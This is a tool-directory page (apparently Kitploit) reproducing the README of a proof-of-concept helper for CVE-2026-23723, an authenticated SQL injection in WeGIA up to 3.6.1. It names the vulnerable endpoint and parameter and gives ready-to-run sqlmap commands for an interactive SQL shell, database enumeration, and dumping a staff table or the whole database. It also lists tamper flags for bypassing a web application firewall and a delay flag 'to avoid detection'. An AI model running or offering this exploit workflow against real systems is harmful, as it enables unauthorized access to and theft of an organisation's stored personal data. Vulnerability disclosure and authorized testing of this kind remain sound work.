Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-23723-POC — This is a lightweight Python helper script designed to automate the generation of sqlmap-compatible PoC files for the authenticated error-based SQL injection vulnerability in WeGIA (≤ 3.6.1), identified as GHSA-xfmp-2hf9-gfjp. | Kitploit
Tools/GitHubGitHub/ch35h1r3c47/cve-2026-23723-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubch35h1r3c47/cve-2026-23723-poc

CVE-2026-23723-POC

This is a lightweight Python helper script designed to automate the generation of sqlmap-compatible PoC files for the authenticated error-based SQL injection vulnerability in WeGIA (≤ 3.6.1), identified as GHSA-xfmp-2hf9-gfjp.

View Repository
316 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-23723 PoC - WeGIA Authenticated SQL Injection Exploit Helper

Authenticated Error-Based SQL Injection in WeGIA ≤ 3.6.1
GHSA-xfmp-2hf9-gfjp | Official Advisory

POC Original Author / Reporter: ViniCastro2001 GHSA Published by: nilsonLazarin (project maintainer)

This lightweight Python script automates:

  • Login to WeGIA system using provided credentials
  • Extraction of valid PHP session cookie
  • Generation of sqlmap-compatible request file (injection point marked as id_memorando=1*)
  • Output of ready-to-run sqlmap commands for enumeration, interactive shell, and data dumping

Features

  • Tries multiple common login paths and form field names for better compatibility
  • Generates sqlmap request file (.req)
  • Provides copy-paste sqlmap commands for:
    • Interactive MySQL-like shell (--sql-shell)
    • Database / table enumeration
    • Targeted table dump or full database dump

Requirements

  • Python 3.x
  • requests library (most penetration testing environments already have it)
  • sqlmap installed and in your PATH

Installation

root@kitploit:~
git clone https://github.com/Ch35h1r3c47/CVE-2026-23723-POC.git
cd CVE-2026-23723-POC

Usage

root@kitploit:~
# Recommended: interactive password prompt
python CVE-2026-23723.py --url http://target.com -u admin

# Provide password directly
python CVE-2026-23723.py --url http://target.com -u admin -p wegia

# Custom output file
python CVE-2026-23723.py --url http://target.com -u admin -p wegia --output custom.req

After running successfully, the script will:

Attempt login Generate wegia_sqlmap.req (or your custom file name) Display ready-to-use sqlmap commands

Example generated commands:

root@kitploit:~
# 1. Interactive MySQL-like shell (most recommended)
sqlmap -r wegia_sqlmap.req --sql-shell --batch --dbms=mariadb

# 2. Show current & all databases
sqlmap -r wegia_sqlmap.req --current-db --dbs --batch

# 3. List tables in wegia database
sqlmap -r wegia_sqlmap.req -D wegia --tables --batch

# 4. Dump a specific table (example: funcionario)
sqlmap -r wegia_sqlmap.req -D wegia -T funcionario --dump --threads=2 --batch

# 5. Dump entire wegia database (careful!)
sqlmap -r wegia_sqlmap.req -D wegia --dump-all --threads=3 --batch --output-dir=./dump
Optional sqlmap flags:

--proxy=http://127.0.0.1:8080 (through Burp/ZAP)
--tamper=space2comment,randomcase (basic WAF bypass)
--delay=1 (slow down to avoid detection)

If Automatic Login Fails Manually log in via browser → copy full Cookie header → run sqlmap directly:

root@kitploit:~
sqlmap -u "http://target.com/controle/control.php?nomeClasse=Atendido_ocorrenciaControle&metodo=listarTodosComAnexo&id_memorando=*" \
  --cookie="PHPSESSID=xxxxxxxx; other_cookie=yyy" \
  --sql-shell --batch

Legal Disclaimer This PoC is provided for educational and authorized penetration testing purposes only. Unauthorized use against any system is illegal and prohibited. The author and contributors assume no responsibility for misuse or any damage caused. References

GHSA-xfmp-2hf9-gfjp CVE-2026-23723

Download Tool